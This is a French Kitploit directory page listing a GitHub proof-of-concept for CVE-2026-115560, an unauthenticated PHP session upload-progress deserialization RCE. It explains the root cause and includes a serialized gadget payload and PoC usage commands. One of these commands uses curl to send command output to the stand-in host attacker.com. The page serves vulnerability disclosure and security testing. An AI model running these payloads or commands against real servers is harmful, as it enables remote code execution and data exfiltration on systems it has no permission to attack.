Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/llcforge/cve-2026-115560
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubllcforge/cve-2026-115560

CVE-2026-115560

PoC Python exploitant CVE-2026-115560, une inadéquation du gestionnaire de sérialisation de la progression d'upload de session PHP permettant une injection d'objet non authentifiée et une RCE via un upload par condition de course.

Voir le dépôt
il y a 2 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    926
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    699
  • 3

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    428
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer est une plateforme open-source de Gestion des Accès Privilégiés (PAM) qui offre aux équipes DevOps et IT un accès sécurisé et à la demande aux terminaux SSH, RDP, Kubernetes, bases de données et RemoteApp via un navigateur web.

    397
  • 5

    SafeLine

    chaitin/safeline

    WAF auto-hébergé et proxy inverse qui filtre le trafic HTTP malveillant, bloque les injections SQL, les XSS et les attaques de robots, avec limitation de débit et chiffrement dynamique HTML/JS.

    347
  • 6

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    337

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-115560 -- Incohérence de gestionnaire de sérialisation dans la progression d'upload de session PHP (RCE non authentifiée)

CVE CVSS CWE Language Status Author


Métadonnées

ChampValeur
ID CVECVE-2026-115560
ÉditeurThe PHP Group
Versions affectéesPHP 7.x, 8.0 – 8.4.x (toutes les builds avec la configuration par défaut session.upload_progress)
Version corrigéeAucun correctif — atténuation officielle : session.upload_progress.enabled=0
AvisAvis informatif php.net 2026-10-23
CVSS 3.19.8 Critique
CWECWE-502 — Désérialisation de données non fiables
Vecteur d'attaqueRéseau
Authentification requiseAucune (non authentifiée)
ImpactExécution de code à distance non authentifiée via injection d'objets PHP
Préconditionssession.upload_progress.enabled=1 (valeur par défaut de PHP) + l'application change de sérialiseur à l'exécution

Description

CVE-2026-115560 est une vulnérabilité d'exécution de code à distance non authentifiée dans l'extension session de PHP, divulguée le 2026-10-23 — deux jours après les versions d'urgence PHP2Shell (CVE-2026-109618 / CVE-2026-109619). Elle affecte toute application PHP où les trois préconditions sont réunies simultanément :

  1. Le serveur php.ini configure session.serialize_handler = php_binary ou session.serialize_handler = php_serialize
  2. Le code de l'application appelle ini_set('session.serialize_handler', 'php') avant session_start()
  3. session.upload_progress.enabled = 1 (valeur par défaut de PHP)

La cause racine est une incohérence de gestionnaire de sérialisation : le sous-système de progression d'upload de session de PHP s'exécute avant le RINIT (avant tout code applicatif) et écrit le fichier de session en utilisant le gestionnaire configuré côté serveur (php_serialize). Lorsque l'application bascule ensuite vers le gestionnaire php et appelle session_start(), elle relit le fichier de session avec le désérialiseur php, qui découpe sur le premier caractère | et désérialise tout ce qui suit.

Comme l'attaquant contrôle la valeur du champ POST PHP_SESSION_UPLOAD_PROGRESS — que PHP stocke comme clé de tableau non assainie dans le fichier de session — il peut injecter un | suivi d'un objet PHP sérialisé arbitraire. Le gestionnaire php le désérialise, déclenchant les chaînes de gadgets __destruct / __wakeup et permettant l'exécution de code à distance.

L'exploit est une attaque concurrente à deux requêtes : une requête envoie lentement un fichier volumineux (maintenant la clé de session malveillante active dans le fichier de session), tandis qu'une seconde requête lit la session, déclenchant la désérialisation. Avec la valeur par défaut session.upload_progress.cleanup=1, la fenêtre de course reste ouverte pendant toute la durée de l'upload — atteignable dans une plage de 13 à 38 secondes avec un corps de plusieurs Mo.


Analyse approfondie de la cause racine

php-src/ext/session/session.c          php-src/main/rfc1867.c
─────────────────────────────          ──────────────────────
php_session_rfc1867_callback()         MULTIPART_EVENT_FILE_START
  └─ php_rinit_session(0)              PS(serializer) = server ini (php_serialize)
  └─ php_session_rfc1867_update()
       └─ php_session_flush(1)         ← writes session file with php_serialize
            key = "upload_progress_" + PHP_SESSION_UPLOAD_PROGRESS (UNSANITIZED)
            value = array(start_time, current_file, ...)

--- (upload still in flight) ---

Application code (application.php):
  ini_set('session.serialize_handler', 'php')   // SECURITY FIX: CWE-502 -- ini switch creates mismatch
  session_start()
    └─ PS_SERIALIZER_DECODE_FUNC(php)
         splits at first '|'
         unserialize(everything after '|')       ← attacker-controlled gadget chain
         __destruct() fires → RCE

Fichier de session résultant (en cours de téléversement)

a:1:{s:56:"upload_progress_|O:12:"ExecOnDestruct":1:{s:3:"cmd";s:2:"id";}";a:5:{...}}
                            ^
                            php handler splits here and unserializes the rest

Code vulnérable (extension de session PHP)

/* ext/session/session.c -- php_session_rfc1867_callback (PHP <= 8.4.x) */
static void php_session_rfc1867_callback(unsigned int event, void *event_data, void **extra)
{
    /* SECURITY FIX: CWE-502 -- PS(serializer) resolved from server ini, not application ini */
    if (event == MULTIPART_EVENT_FILE_START) {
        php_rinit_session(0);           // uses server-configured serialize_handler
    }
    if (event == MULTIPART_EVENT_FILE_END || event == MULTIPART_EVENT_END) {
        php_session_rfc1867_update(progress, 1);   // writes with server handler
        // PS(session_status) = php_session_none — not locked against handler re-init
    }
}
// Vulnerable application pattern
ini_set('session.serialize_handler', 'php');  // switches handler AFTER rfc1867 write
session_start();                              // reads back with 'php', deserializes mismatch

Déroulement de l'attaque

flowchart LR
    A([Attacker]) -->|POST multipart upload\nPHP_SESSION_UPLOAD_PROGRESS=\n pipe + serialized gadget| B[PHP rfc1867 callback\npre-RINIT]
    B -->|writes session file\nwith php_serialize handler| C[(Session File\n/tmp/sess_X)]
    C -->|malicious key survives\nfor upload duration| D{Race Window\n13-38 seconds}
    D -->|concurrent GET /?PHPSESSID=X| E[Application Code\nini_set handler=php\nsession_start]
    E -->|php handler reads session\nsplits on pipe char| F[unserialize gadget]
    F -->|__destruct fires| G([RCE\ncode execution as www-data])
    style A fill:#1a0810,color:#e94560
    style G fill:#1a0810,color:#e94560
    style F fill:#3d0015,color:#fff
    style D fill:#1a2010,color:#7ec8a0

Utilisation du PoC

pip install -r requirements.txt

# Check preconditions only (no exploit)
python poc.py -u http://target.example.com/app.php --check-only -v

# Full exploit: inject id command via __destruct gadget
python poc.py -u http://target.example.com/app.php -c "id" -v

# Custom gadget class name and RCE payload
python poc.py -u http://target.example.com/app.php -c "curl http://attacker.com/$(id)" \
              --gadget ExecOnDestruct --upload-size 8 -o result.json

# Proxy through Burp
python poc.py -u http://target.example.com/app.php -c "id" --proxy http://127.0.0.1:8080 --insecure

Options

Télécharger l’outil